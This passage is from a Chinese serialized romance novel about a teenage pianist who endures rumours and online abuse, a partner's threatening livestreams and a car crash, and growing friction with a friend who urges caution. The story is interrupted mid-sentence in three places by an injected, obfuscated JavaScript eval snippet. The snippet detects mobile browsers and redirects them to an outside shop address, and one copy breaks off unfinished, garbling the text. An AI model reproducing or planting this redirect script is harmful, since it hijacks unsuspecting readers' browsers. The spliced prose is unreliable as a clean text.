那男人捂住腿不再说话,只嚎叫,耍无赖到底。 现场一片混乱。 有人窃窃私语,有人举着手机拍摄。 工作人员拉着梁初灵和周序走开,说现在只能等待,不要冲动,一切交给律师来处理。 梁初灵一股恶气堵在胸口:“疯了是吧?这什么人啊!” “走极端的CP粉。”工作人员语气见怪不怪,“以后进出小心点。” 这之后舆论变味: 【听说梁初灵私下脾气超级差,助理一个月换三个,真的假的?】 【真的,我同学的姐姐的男朋友在乐团工作,亲眼见过她甩脸子。她还打人你们知道吗?就是个太妹!】 【我去……展开说说。】 也有人出来维护: 【你们别骂梁了,她也是周周选的搭档,给周周点面子。】 【梁初灵是有点问题,但谁让周序愿意跟她弹呢?我们爱屋及乌吧。】 【骂梁初灵的能不能闭嘴?非要搞得周序难堪吗?他们关系不好了对周序有什么好处?】 而当周序偶尔被批评过于张扬、或哪里处理的不好时,CP粉和其个人粉丝的回应通常是: 【天才有点个性怎么了?他有资本狂!】 【那是艺术家的表达!】 【你不懂他的音乐世界!你去听听他的牧神午后吧,听完你会爱上他。】 只是骂架倒也还好,但有人开始编造离奇的谣言,从梁初灵的私生活到她的专业态度,描绘得有鼻子有眼,仿佛亲眼所见。 说她全靠开后门才能拿奖,她的奖都很水,技术极其一般。一路抱大腿抱上如今的地位。 造谣她私生活混乱,当初在国外如何如何,现今在国内如何如何。 梁初灵看着那些不堪入目的言论,觉得荒唐! 她不是没经历过批评,但这种基于性别、基于臆想的恶意,还是让人觉得耻辱。 “看什么呢,脸色这么差?”工作人员凑过来。 梁初灵把手机屏幕转过去。 工作人员扫了几眼,依然见怪不怪:“别理这些垃圾话。你越在意,他们越来劲。” “他们凭什么这么胡说八道?” 梁初灵脑子一热,编辑了一条微博发了出去: “造谣的去死吧!再说一遍,合作是工作,关系是同行!管好你们自己!觉得我弹得不好的,你们学过钢琴吗?禁止没学过钢琴的出来说话!禁止没长耳朵的出来发言!” 迎来的是更猛烈的舆论海啸: 【公众人物说话这么难听?】 【果然脾气大,看来之前传言不假。】 【一个女孩子,这么嚣张,一点涵养都没有。】 【急了急了,她急了。】 【求扒梁初灵,有没有认识她的出来说两句啊?】 风吹火盛,揣测变成事实,事实被恶意解读。 梁初灵的演出视频被举报下架,再被贼喊捉贼地说是梁初灵方自己心虚所以删除的。 导致大部分人没听过她的演奏,于是更方便无脑跟随。 支持她的声音也有,但迅速被淹没在更多的嘲讽里,大众并不愿意看到一个如此不谦逊的女性演奏家。 梁初灵看着再次崩溃的评论区,不知道还能如何回应。 脑子控制手,给李寻打了个电话,但是无人接听。 忙音消减了一些她鼓胀的愤怒。 如果是李寻,他会怎么做? 大概会皱皱眉,然后放下手机,说:“没关系,他们说的不是我。” 这句话太“绝对正确”,梁初灵无法反驳。但她做不到这样温和,于是这揣测的温和像一堵墙,隔在她和现实之间。 她无法像他那样云淡风轻,她的愤怒真实,委屈真实,而“无法达到他的境界”的想象,却带来了一种新的疼痛。 她对李寻的揣测就这样变成事实。 -- 李寻的录音工作进入了最后也是最熬人的阶段。 梁初灵有他家的钥匙,每天吃完晚饭,都会过去看看栗子陪玩一会儿。 这天正准备出门,妈女士经过:“你在外面养猫了?” 梁初灵大惊:“你怎么知道的?” 妈女士笑着指了指她的毛衣外套:“这猫毛。” 梁初灵讷讷地低头拍打:“那我下次回家门用粘毛滚子粘一下。” “带回家来养吧。”妈女士语气温和,“十月了,天气越来越冷,天又黑得早。怪可怜的。” 怪可怜的,不知道是在说猫,还是在说梁初灵。 妈女士这次回来是为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768979|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做手术,做完后也一直没走,张姨把她照顾得很好。她一向胃口差,整个人看着气血不足,手心像她的眼睛一样冷淡,身体像她的眼皮一样薄。 这是梁初灵不大喜欢妈女士那些太阳月亮的原因,觉着还不如张姨呢,张姨每天都会逼着妈女士吃肉吃饭。现在看着多活泼。 所以尽管聊着这样一个有点“禁忌”的话题,但梁初灵看着生动的妈女士,竟也冷漠不起来,你看着一束由黄转青的植物,心里一定欢快。 梁初灵还是讷讷:“可是猫还很小,我担心它不太认家。”这很难说是拒绝,听起来是撒娇才对。 妈女士继续:“妈妈会和张姨一起多注意的,不会让它跑出去。” 梁初灵几乎是脱口而出:“那太好了!我去问问李寻!” 妈女士惊讶:“你和李寻一起养的?” “对啊!”梁初灵应着,人已经换好了鞋,“妈我走啦!” 门在身后关上,她才后知后觉意识到自己说了什么。不等细想,手机震动起来, 是李寻迟来的回电。 梁初灵看着那个名字,脑海里浮现出他可能会有的温和的眼神,最终没有接。 要让那点莫名的赌气,在微凉的晚风里多飘一会儿。 到了李寻家,掏出钥匙开门,按客厅灯开关,毫无反应。 停电了? 她打开手机电筒,先给栗子铲屎,换水和猫粮。 栗子蹭着她的腿小声叫,梁初灵把它抱到沙发上,用逗猫棒逗它。 屋子里一片漆黑,只有手机电筒照亮的一小片光明。 安静,加上黑暗的环境,实在催眠,梁初灵靠着沙发,眼皮越来越沉,最后脑袋一歪睡着了。 不知睡了多久,她被梦境惊醒。 眼前是彻底的的黑。下意识去摸手机想看时间,屏幕也漆黑——手电筒开得太久,电量耗尽自动关机。 彻底抓瞎。 梁初灵心里有点发毛,摸索着站起来,朝李寻的卧室方向挪动。她记得他床头柜上有个充电宝。 卧室门虚掩。 她刚靠近,却听见里面传来响动。 梁初灵的汗毛立了起来! 被私生扒窗的恐怖记忆复苏,心脏狂跳。李寻家在三楼,确实不是没有可能…… 她屏住呼吸,一步一步往客厅倒退,手在墙角摸索,抓到了一把扫帚,紧紧攥在手里。 举着扫帚,梁初灵再一步步重新逼近卧室门口,正准备大喝一声谁在里面! 里面却先传出了熟悉的声音,带着同样刚睡醒的沙哑:“你醒了?” 是李寻的声音。 梁初灵紧绷的神经放松的太快,一下子觉得虚脱又不敢虚脱,那口提着的勇气化作气愤:“李寻!你怎么回来了也不说一声啊!吓死我了!” 李寻从房间里走出来,身影在黑暗中轮廓模糊,语气无辜:“我微信上跟你说了啊。” 梁初灵随即更气:“我手机没电了啊!” 李寻被她这强盗逻辑逗笑,心想我上哪儿知道去,嘴上却道歉:“抱歉,怪我没发现。手机呢?我这儿有充电宝,给你充上电再骂我行不行?” 声音里还带着睡意,温柔的,妥协的,像安抚一只炸毛的猫。 梁初灵的火被他这态度浇熄大半,闷闷地把手机递过去。 等待开机的间隙,梁初灵想起自己故意不接的电话,想起那些谣言,心里的委屈又泛上来,但她抿着嘴一言不发。 李寻在黑暗中察觉到她情绪的低落,不由得想找点话说逗她开心。 还没等他开口,梁初灵先动,她伸手:“你手机给我看看,几点了。” 李寻把手机递给她。 梁初灵按亮手机,屏幕上却是她发的那条微博,一下子酸涩重新涌上鼻腔。 李寻看她突然沉默,想开口说点什么转移话题,梁初灵却再次抢先一步:“你偷偷看我微博干什么。” 李寻松了口气,能说话就好:“没有偷偷。我在给那些支持你的评论点赞。受委屈了,小天才。” 25. 《无调性随想曲》 “受委屈了,小天才。” 这句话化开了梁初灵的一部分委屈,可底下还沉着一团想要反击、想要破坏、想要看造谣者狼狈不堪的火焰。 她带着不满:“别点了,你给支持我的人点赞又不能让那些骂我的人闭嘴……” 李寻的目光在昏暗中清晰:“不能让他们闭嘴,但说真话的人也不能被淹没。声音需要被听见。对了,最近你出行一定要配备安保。安全是眼下最重要的事。” “听见了然后呢?”梁初灵不理会后面那句关心,“他们还是能躲在屏幕后面继续造谣啊,你就没有一点想让他们付出代价的想法吗?不想做点什么让他们也难受吗?” 梁初灵盯着他,渴望从他那里得到认同,认同她的愤怒需要被执行。 李寻点头:“想。我想让他们不能再伤害你。想让你不再被这些事困扰。” 这句话让梁初灵心头一跳。但他接下来的话,方向却与她期待的激烈反击不同。 他向前倾身,两个人此时都坐在地毯上,面对面,隔着很近,幸好黑暗遍布,不然气氛难以维持。 李寻条分缕析: “你成名多年,实力和奖项摆在那里,明眼人都知道那些专业上的谣言多可笑。这次风浪的核心不在你的实力如何,而在你和周序被刻意营销的关系。是这种关系吸引来的极端关注和臆想,点燃了这把火。” “周序的粉丝群体庞大,攻击性强。只要你们继续以这种形象出现,类似的冲突和恶意就很难避免。” “这次是偷拍造谣,下次可能更严重。我的建议是暂时、主动停止和周序的一切公开合作与同台。冷却,是切断这股恶意循环最有效的方式。你需要从风暴眼里退出来。” 梁初灵怔住,李寻说得她都懂,但是这和她想要的迎头痛击背道而驰。 她没法理解李寻的冷静,反而觉得是不是因为受到伤害的并不是他,所以他才能这样若无其事? 可是我们不是很亲密的人吗?对你而言亲密的我受到了伤害,为何你却还能处之泰然? 梁初灵觉得自己有点受不了这样。 …… 保护她,平息事态,切断祸源。 这无疑是理智的,是正确的,是为她好的。 可是。 梁初灵她十七岁的心脏正在被愤怒炙烤,她需要一个和她一起冲锋陷阵的战友。 “停下来,躲起来。”少年人的倔强和不服输全写在脸上,“那不就是告诉他们我怕了?我凭什么要退?做错事的又不是我!” 梁初灵渴望刀光剑影的快意恩仇,而李寻递给她的,却是一面需要她耐心举起的盾牌。 火势巨大时,温度极高,如果用水去扑火,水会迅速汽化,产生大量水蒸气,会因水蒸气膨胀将火焰和热量推向四周,引发轰燃,加剧火势。 无处发泄的破坏欲在梁初灵血管里奔突—— 灯亮了。 她清晰看见了李寻平静的脸,清晰想象出他此刻内心一定在评判她的不成熟。 梁初灵再次用她想象中的李寻刺伤了现实中的她自己。 “李寻,你不生气吗?” 灯亮了,显出两人的距离过近,李寻往后挪了挪:“我不是不生气。但我不想用你的安全去赌一时之快。在他们的游戏规则里,即使赢了,也是杀敌一千自损八百。还需要投入时间和情绪,你的时间和情绪,应该放在更值得的事情上。” 梁初灵知道李寻就是这样,但这样温和的港湾,是否只在风平浪静时才有意义?当风雨和恶意来袭时,这种温和是否反而成为一种无力? 她炽热的心,此刻渴望投入那场混战。 认知与情感的撕裂,让她难受,最终只能化作一声:“好吧,你真的太冷静了。” 屋子一片明亮,梁初灵开始怀念黑暗。 可黑暗已去。留下的温情和别扭却无所遁形,暴露在光线下。 栗子被光亮惊动,走进来蹭梁初灵的裤脚。 看着栗子,梁初灵想起妈女士的话,也想找个由头打破此刻凝滞的气氛,开口:“我妈说天冷了,让我把栗子带回家养。省得我每天跑来跑去。” 李寻正摸猫,闻言看向她:“带回你家?” “嗯。我妈和张姨会看着,不会让它跑丢。”梁初灵避开他的目光,站起来去拿猫包。 李寻看着她的动作最终只是说:“好。” 他帮她一起把栗子哄进猫包,梁初灵点好了猫砂猫粮和猫砂盆,此时只用把一些玩具收拾好。 过程沉默。收拾妥当,梁初灵拎起猫包:“我走了。” “我送你。”李寻拿起外套。 “不用。”梁初灵拒绝得很快,像是解释,“东西不多,我打车就行。你不是还要忙申请的事情吗?别耽误时间。” 李寻还是继续穿外套:“不行,太晚了,我送你回去。” —— 舆论还在发酵,梁初灵关机睡到中午,她自爆微博号之后,私信里就被恶意留言塞满。 刚睡醒,金溪火急火燎打来电话:“初灵,看微博,周序开直播了。” 梁初灵莫名其妙:“他开直播关我什么事?带货啊?我可不买。” “不是不是!为你开的澄清直播啊!快看!” 梁初灵狐疑点开金溪发来的链接。 画面里,周序脸凑镜头太近,乍一点进去吓梁初灵一跳,周序应该是看到梁初灵进来了直播间,突然笑一下,说:“你来干什么?” 梁初灵当然不可能回…… 周序看着进来的人越来越多,看到了眼熟的一个个id都在场,他眼神不耐烦又有点亢奋:“都来了?挺好,省得我一个个去找。我知道你们想听什么。梁初灵对吧?” 下面的评论都是“对对对。” 他嗤笑一声,“那些骂她的造谣的,躲在屏幕后面蛆一样蠕动的东西,你们听好了,我,X,你,们,全,家。” 评论消失了几秒钟,再过几秒钟,直播间被封了。 梁初灵汗都下来了……连抽好几张纸巾,还没来得及擦呢,周序主动在微信上给她发了个新链接。 她点进去,一个新的微博直播间,估计是他身边哪个朋友的号,因为这回他自己手上拿着他的手机—— 在给梁初灵发消息。 梁初灵:“你是疯了吗?” 周序:“别管,就问你刺不刺激。” 梁初灵:…… 周序看着人又来得差不多,估计这回也没法开太久,语速很快:“怎么?这就吓到了?废物就是废物。我把你们的头按在琴键上,听听你们能弹出什么东西。” “还有那个偷拍的男人,你应该庆幸只是摔断腿。下次再让我看到你,或者任何像你一样的垃圾,你看我揍不揍你们。” “我和梁初灵关你们屁事!我们是谈恋爱了还是结婚了要跟你们汇报?你们算什么东西?靠意淫别人活着是吗?不是骂她吗?再造谣一句试试呢?” “我的律师团从现在起,会像清除垃圾一样,清理掉所有造谣的账号。有一个告一个,告到你们倾家荡产,告到你们公开忏悔。我不接受调解,不需要赔偿,我要你们付出代价。” 哈,又被封了。 梁初灵:“我看你是真疯了。” 她既为这种维护方式感到刺激,又隐约不安。心脏在短暂的疯狂擂动后,陷入麻木。 梁初灵手指颤抖,点开评论区和相关讨论,风向两极分化,但抨击周序的声浪以几何级数暴涨: 【这男的有狂躁症吧?建议去医院看看!】 【这是什么神经病发言?公开威胁恐吓?法律管不了他了?】 【路转黑!太恶心了!这种人也能当艺术家?】 【我看梁初灵跟他就是一丘之貉!都不是什么好东西!】 【吓死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776960|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了,这种反社会人格能不能封杀啊!】 【之前还觉得他帅,现在看就是个疯子!脱粉了!】 大规模的造谣账号开始删帖,讨论区里支持梁初灵、抨击网络暴力的声音渐渐多了起来。 再逐渐,支持梁初灵的声音被更庞大的针对周序的批判浪潮所淹没。 人们暂时忘记了去追究最初的谣言,所有的火力都集中到了周序这番极端言论上。 周序用最激烈的方式吸引了所有火力,引火烧身。 梁初灵看着那些对周序的谩骂和抨击,心情复杂。 她确实感受到了快意,但快意背后缠绕着不安。 梁初灵脑海里回放起昨晚李寻在黑暗中的声音:“你的安全是第一位的。近期尽量不要再单独活动。如果需要出行,必须带上保镖。” 当时她觉得这话过于谨慎,但此刻看着周序以身为饵吸引了火力、甚至诅咒…… 忽然对安全这两个字有了更具体也更不安的认知。 她给周序删删写写:“你联系保镖了吗?找几个吧。最近你出门千万注意安全。” 周序回复得很快,满不在乎:“放心,早安排好了。没事。那些人也就敢在网上肆无忌惮,觉得我是个真疯子后,反而不敢来直接找我麻烦了。人都是这样的,欺软怕硬。” 梁初灵想说自己心里的不安,想说这样是不是太极端,想问他被那么多人追着骂神经病会不会难受,但打出来的字,最终只剩下:“噢噢。那就好。” 她无法说出口。她任何的不安和犹豫都显得不合时宜。只能逼迫自己,也努力装出和他一样浑不在意的样子。 梁初灵又打出一行字:“最近我们暂时不要再同台了吧。” 这次周序隔了一会儿才回复。“怎么,你怕了?” “有点担心。” 她无法准确描述这种担心具体是什么,担心他?担心自己?还是担心这种失控的局面? “担心什么?没事。热度下去就好了。” 梁初灵看着他的回复,觉得也对,网络的流速很快。 然而事情在接下来的几天里,出现了意想不到的转机。 央音官方发布了一份措辞严谨盖着红章的声明,没有提及任何具体谣言,而是高度肯定梁初灵取得的艺术成就,赞扬其为学院和国家赢得的荣誉,并严厉谴责了近期针对优秀学子的网络暴力行为,表示将坚决维护学生的合法权益,支持其依法追究相关责任人的法律责任。 紧接着,几家国际音乐比赛组委会,也仿佛约好了一般,陆续在官方平台转发了梁初灵过去夺冠时的精彩演奏视频片段,并配文称赞其“无可争议的艺术才华”和“为古典音乐事业做出的贡献”,隐晦却有力地驳斥了那些关于她水平不行、奖项注水的言论。 梁初灵与周序的首场合作演出的一位女性负责人,也po出三次彩排时的录像,录像中,每一次的《牧神午后前奏曲》都没有那处停顿。那处停顿就是错误,只是由梁初灵妙手回春。 官方机构的联合发声,像定海神针,扎进了沸腾的舆论漩涡。 权威定调,加上之前周序吸引走的极端火力,多方作用下,局面开始扭转。 乌烟瘴气的帖子少了,讨论区里开始出现更多理性的声音,以及大量被官方声明和演奏视频吸引来的新听众。 【我的天!原来梁初灵这么厉害!之前被营销号带偏了!】 【这演奏水平,黑子们是聋了吗?】 【这才是真正的艺术家啊!关注了!】 【之前骂过,道歉!以后只听作品!】 【来吧,那些因为那场演出而爱上周序的人,滚过来给梁初灵表白吧。】 【不了不了,臭臭的,谁要呀。】 舆论风向一点点被掰正,那些肯定和赞美重新回来,从根本上重建了梁初灵的公众形象和艺术声誉。 会这样去做的…… 26. 《Nuvole 梁初灵看着渐渐清朗起来的评论区,心里闷气纾解了大半。她知道自己不需要再额外发声,沉默地让事情过去是最明智的选择。 然而,总有些看热闹不嫌事大的人。 一条评论出现在她最近一条微博下面,被点赞顶到了前面: 【吃瓜路过。话说,梁老师你现在跟周序到底啥情况啊?他也太颠了,感觉你俩私下关系应该不咋样吧?纯商业互吹?】 这条评论下面跟了不少回复,有猜测两人确实只是塑料搭档的,也有嘲讽周序自作多情的。 梁初灵想起周序不管不顾的样子,他替她扛下了猛烈的攻击,说不清是义气还是愧疚的情绪涌上心头。 理智告诉她,不要回应,不要节外生枝。可心里有声音叫嚣着不能这样。 李寻会怎么做?大概会温和地忽略,或者用更圆融的方式处理。 但她是梁初灵。 她直接在那条评论下回复:“我们关系很好。周序是我非常欣赏并且尊重的艺术家和朋友。” 【正主下场了?】 【哇!亲自认证是朋友!】 【看来周序那场疯没白发啊,值了!】 【啧,这时候出来说这个,有点微妙啊……】 【感觉梁初灵还挺讲义气的,没让周序一个人挨骂。】 【呵呵,又开始营销神仙友谊了?剧本罢了。】 支持的有,嘲讽的也有,但无论如何,梁初灵这出于本心的回应,确实让那些关于两人关系的猜测消停了不少,也让部分人对周序的观感有了微妙的转变,至少他维护的人同样在维护他。 发完她就退出了微博,没再去管后续的讨论。 知道自己可能又做了件不够聪明的事,但不后悔。她没办法心安理得地躲在后面,连一句肯定的关系都不愿承认。 -- 周序因为那场直播而受到了一些限制,几场原定的演出被临时叫停或换了人。 他自己倒不在意,靠在琴房窗边,看着窗外灰蒙蒙的天,忽然提议:“晚上去飙车?我知道个好地方。” 梁初灵想拒绝。危险而且无聊。 可话到嘴边,看着周序,想起他被限制演出的源头也是为了自己。拒绝就变成带着愧疚的犹豫。她好像在欠他人情。 她听见自己说,“行吧。” 周序有点意外她答应得这么爽快,随即露出个灿烂的笑:“够意思。” 晚上,周序开了辆银色跑车来接她。 梁初灵拉开车门坐进去,系安全带时,看着周序熟练操作车辆的样子,问了一句:“你居然都有驾照了?” 周序挑眉看她:“当然。不然我怎么开车?” 梁初灵狐疑打量他:“你多大啊?” 周序漫不经心:“比你小三个月。” 梁初灵震撼:“那你没成年啊!你哪里来的驾照啊!” 周序才想起来这茬,无所谓地耸耸肩:“我美国的啊,十六岁就考了。放心吧,技术没问题。” 梁初灵瞬间后悔:“我想下车。” 周序一脚油门:“晚了。坐稳吧你,没事的!” 风噪呼啸,但梁初灵奇异地不觉得害怕,反而有一种压抑后骤然释放的刺激。 周序侧头看她一眼:“解气了吗?” “嗯?”梁初灵反应过来在问什么,“解气啊。但是你受到了太大的影响,我有点抱歉。其实过一段时间网民就不会再对这个新闻感兴趣了。” 周序转回头,声音在风噪中震动:“对付那种人,就不该有任何犹豫。我们没错,坏人受到惩罚是天经地义。如果凡事都不计较,只等待热度过去,那只会让那些人觉得我们好欺负!” 心理和身体,同时拥有近乎野蛮的宣泄感,让梁初灵无可避免地感受到了心跳加速。 她闭上眼睛,任由风声灌满耳朵,暂时将所有的纠结和思考都抛在了脑后。 可事实证明,flag不能乱立。 周序开车跟他弹琴一个风格,充满攻击性和表现欲,梁初灵抓着车门上方的扶手,感觉自己像个被绑在过山车上的麻袋。 在过一个急弯的时候,轮胎压到了什么东西,车子猛地打滑,车头不受控制地撞向路边的防护栏。 砰——! 安全气囊弹开,巨大的冲击力将两人按在座位上,世界天旋地转,然后陷入死寂,只剩下引擎盖下传来的嘶嘶声。 梁初灵被撞得头晕眼花,胸口被安全带勒到痛,额头不知道撞到了哪里,她甩了甩脑袋。 第一反应是活动手脚,幸好没事,再伸手摸向额头,摸到温热黏腻,打开手机相机,看到是血,额头上破了道口子。 “周序?”她扭头去看驾驶座。 周序的情况看起来糟糕很多。脸色苍白,正用右手按着左臂,额头上有汗。 “你怎么样?”周序第一时间却是问她。 “我额头破了点皮,没事。”梁初灵看着他明显不对劲的手臂,“你的手怎么了?” “不知道什么情况。”周序吸着冷气,试图动一下左臂,痛得哼一声,看了一眼撞得惨不忍睹的车头,往外一看,被闪光灯闪了下眼睛,估计有人报警了。他强撑着用没受伤的右手解开安全带,“咱们得快走。” 他咬着牙,用右手打开车门,踉跄着下车,又绕到副驾驶这边,帮行动还算自如的梁初灵拉开车门。 “能走吗?”他问。 梁初灵点点头,捂着额头伤口下了车。夜风一吹,让她一阵心悸。 周序拉着梁初灵离开事故现场,走到远一些的大陆上,拦下一辆过路出租。把梁初灵塞进后座,自己却没上去,对司机报了梁初灵家小区的地址。 “你先回家,当什么都没发生过。”周序在车窗外,“这边我来处理。” “你的手得马上去医院!”梁初灵又急又怕。 “我知道,你别管了,快走。”周序关上了车门。 出租车载着懵懵的梁初灵绝尘而去。她看着窗外,心脏还在狂跳,脑子里一团乱麻。 北京太大,出租车开了快俩小时才到她家小区门口。 梁初灵脚步虚浮走下车,打了个寒颤。 正准备往小区里走,一抬头,却看见路灯下站着一个人影。 李寻的身影在清冷光线下显得单薄,脸上疲惫,像是等了很久。梁初灵没来由的想躲,但他已经看到了她,径直走过来。 没问她去了哪里,没问她为什么这么晚才回来,没问她额头严不严重,甚至没给她开口的机会,一把抓住她的手腕,拉着她就往小区外走。 “李寻你干什么!”梁初灵被他拽得踉跄了一下,手腕上传来的温度让她心惊,更多是莫名其妙的不悦。 李寻头也没回:“带你去医院。” 梁初灵用力想甩开他的手:“我去医院干什么?我没事!” “检查一遍,确认一下。”他言简意赅,脚步不停。 “我说了我没事!你放开我!”梁初灵的脾气也上来了,今晚本就受了惊吓,她有点攻击型人格,现在烦躁到了极点,用力挣扎起来。 李寻停下脚步,转过身。 路灯的光照在他眼睛里,是一汪小小的海,里面游动着一些情绪,有梁初灵第一次看到的愠怒。 “梁初灵。”他连名带姓地叫她,“你能不能不要这样不把安全当回事!” 梁初灵被他说得愣住。 认识李寻这么久,他永远是温和的,包容的,她从未见过他发脾气。 愣神间,李寻已经不再给她反抗的机会,强制把她拽到打着双闪的车旁,把自己和她一起塞进后座。 一路上,两人都沉默。梁初灵扭着头看窗外,心里憋着气,还有她不愿承认的委屈。 她不懂李寻为什么突然这样。她不是好好的吗? 医生确认她除了受到惊吓和一点软组织挫伤外,确实没有大碍,额头也没什么事。李寻紧绷的脸色稍微缓和一些。 梁初灵憋着气,拿出之前一直没管的手机,推送和消息涌进来。 一条新闻闯入:【爆!钢琴家周序深夜飙车出事,副驾疑为梁初灵,二人疑似殉情未遂?!】 下面配了一张模糊的事故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李寻深深看了她一眼:“对,我很生气。周序最近心情不好,想要发泄,我管不着。但他没有任何理由拉上你进行这种完全不负责任的发泄行为。” 梁初灵不敢置信:“他心情不好也是为了我啊!是因为之前为我而直播的事情才被限制演出的!” “他是为了他自己。”李寻打断她,“为了满足他的英雄情结和表现欲。如果他真的为你考虑,就不会在情绪失控时,把你置于同样的危险境地。这恰恰证明,他冲动之下优先考虑的是他自己的情绪宣泄,而不是你的安全和处境。” 梁初灵觉得寒气从脚底窜上来。无法理解李寻怎么能用这样冷静甚至刻薄的逻辑,去解构周序的举动。 在她看来,那是一种义气,而在李寻眼里,那竟然成了自私和不负责任。 “李寻,你怎么能这样去想?” 委屈和被信任的人背弃的孤立感同时到来,她看着李寻过于冷静的脸,觉得上面写着五个大字:道德制高点。 想要刺穿他这层外壳,想要看看他的内心,想要窥见他的脆弱,冲动让她口不择言:“李寻,如果我今天不小心出车祸死了,你会为我哭吗?还是依然冷静分析我有多么不成熟,多么活该?” 李寻眉头蹙起,脸上出现了明显的不解和愕然:“梁初灵,你为什么要说这种话?” “因为我说对了,不是吗?”梁初灵迎着他的目光,眼泪在眼眶里打转,却不肯落下,“因为我和周序就是一样的人!我们会冲动,会不管不顾,会为了痛快去做傻事!我们跟你不一样!李寻,你是不是早就想骂我了?” 他的担心是真的,他的道理是对的。可梁初灵听着只觉得这太正确了,这正确是一面完整的镜子,映照出她不计后果的残缺。 她从未像现在这样,清晰感到压力和无措。 梁初灵忽然觉得很累,不想再面对他:“你不要在这里了,我不想看到你。” 李寻没动。 梁初灵自己走了出去打车,李寻没有阻拦,也没有离开。 李寻看着她激动泛红的脸和盈满泪水的眼,那句“我们跟你不一样”,七个字成七股绳,在他心上来回拉扯。 他忍不住想—— 我们? 你不再和我是我们了,是吗? 夜更深,天空堆积起云层,飘下雨点。雨淅淅沥沥,落在出租车窗玻璃上,汇聚成一道道蜿蜒水痕,曲折着向下流淌。 梁初灵在车内看窗外李寻,那些雨痕像一道道泪水。 太恐怖了—— 像是李寻在哭。 27. 《秋天》 哪怕十月底,秋天要展现它最像样的一面,已经风高云淡,但还是不情不愿。 比起干燥更像枯燥。 周序无证驾驶导致车祸的消息,一开始只是小范围流传,版本离奇,什么为爱殉情豪门恩怨,听着是三流剧本。 但很快关于他年龄和驾照的问题被捅出来。 无证驾驶、危险飙车、造成公共财物损失,顺带搅起了对于特权、劣迹的混浊泥沙,舆论这下被炸穿。 大家的枯燥生活中总算来了一点乐趣。 如果说之前的直播还能被一部分人解读为真性情,那这次事件,是彻头彻尾的违法行为,官方机构的反应迅速。 几个原本就因直播事件对周序亮起黄灯的合作方,第一时间发布了暂停合作或取消演出的声明。交管部门介入调查,律师函不再是发给网络ID,而是送达周序本人手中。 辛苦积攒的国际声誉和商业价值正在崩塌,校方也面临着巨大的公众压力。 除此之外,那个曾在直播里被周序点名痛斥的偷拍男人,和曾在学校里骑车撞猫的那个男学生,竟开始互帮互助,在校园里一起到处张贴抵制周序的宣传单。 两个人在此之前完全不认识,在此之后亲如兄弟,男人的团结速度的确令人咂舌。 梁初灵则被校方和团队联手保护了起来。 手机关机,网络切断,梁初灵被妈女士几乎是押送着从学校接回家。 “你给我老老实实待着!”妈女士难得对她板起脸,“这次的事情有多严重你心里清楚吗?无证驾驶!车祸!周序他有他的情况,有些规矩他可能不清楚,或者不在乎!但你呢?你也不清楚吗?你怎么就敢上他的车!万一有个三长两短怎么办?!” 梁初灵垂着头,额头开始结痂的伤口发痒,她无从辩驳。 被强行按下的静止,让她有了足够的时间,去咀嚼李寻当初说的话。 冲动之后,是一片需要打扫的狼藉。 而她也是这场狼藉的制造者之一……如果她当时再坚决一点拒绝。 复杂的愧疚感和面对现实的无力,在同一条道路上相向而行,梁初灵是那个交点,就这样被夹击。 -- 在家里上李炽的视频课,梁初灵有点担心李炽会不会听闻这些事,然后也觉得她太冲动。 她害怕李炽对她不认可,怕得哆哆嗦嗦,结果李炽还是严厉教学,不说废话,像是不知道最近风波。 这让梁初灵一颗心劈两边,一边稍微轻松,一边继续心烦意乱。 在她心烦意乱的当口,一天下午,张姨上来敲她房门:“灵灵,李寻来了,说看看你,也看看猫。” 梁初灵冲到房门口,手搭在门把手上,却怎么也拧不下去。 她还没有准备好,也没有收拾好自己这乱七八糟的心情。 “张姨,我有点不舒服,躺下了。你让他看猫吧!” 她觉得世界突然变得很安静,让她能无碍听见楼下张姨跟李寻的解释,听见李寻说了句“没关系,让她好好休息”,然后是他和栗子玩闹的声响,以及不久后离开的关门声。 好安静,让她的逃避响彻房间。 几天后,看她实在憋得可怜,妈女士松了口,允许她使用电脑上网,只是手机依旧没收。 梁初灵难得登上古典音乐圈的一个论坛,她以前不太关注这个,老师们都说少刷这种八卦资讯,多练琴。 点进去,首页就飘着好几个关于她和周序的帖子。点开其中一个,里面楼盖得飞快,各种猜测和分析。 一条回复引起了她的注意,那人信誓旦旦说:“我爸是三院的医生,亲眼看到周序来复查,胳膊伤得不轻,以后弹琴会不会有影响真不好说。” 梁初灵坐立难安。尽管周序表现得似乎无所谓,妈女士也说打过校方电话,校方说没什么大事,但梁初灵还是无法再安然待在家中。 央求了妈女士很久,找了个妈女士去医院复查的时间一起出门。妈女士知道梁初灵是想去看看周序,也没拦着,复查完两人一起过去。 开门的是周序的助理,脸色不太好,看到是她,叹了口气,侧身让她们进去。妈女士拍了拍梁初灵的手腕,说自己就在门口坐着等她,让她速战速决 周序窝在客厅沙发里,左手打着石膏,用绷带吊在胸前。没开主灯,人在阴影里。 “你怎么来了?” 梁初灵走过去在他旁边坐下,“你的手医生怎么说?” “轻微骨裂,小伤,真没什么事,很快就好了。”说着很快就会好,但周序眼神里却是不确定,这没能逃过梁初灵的眼睛。 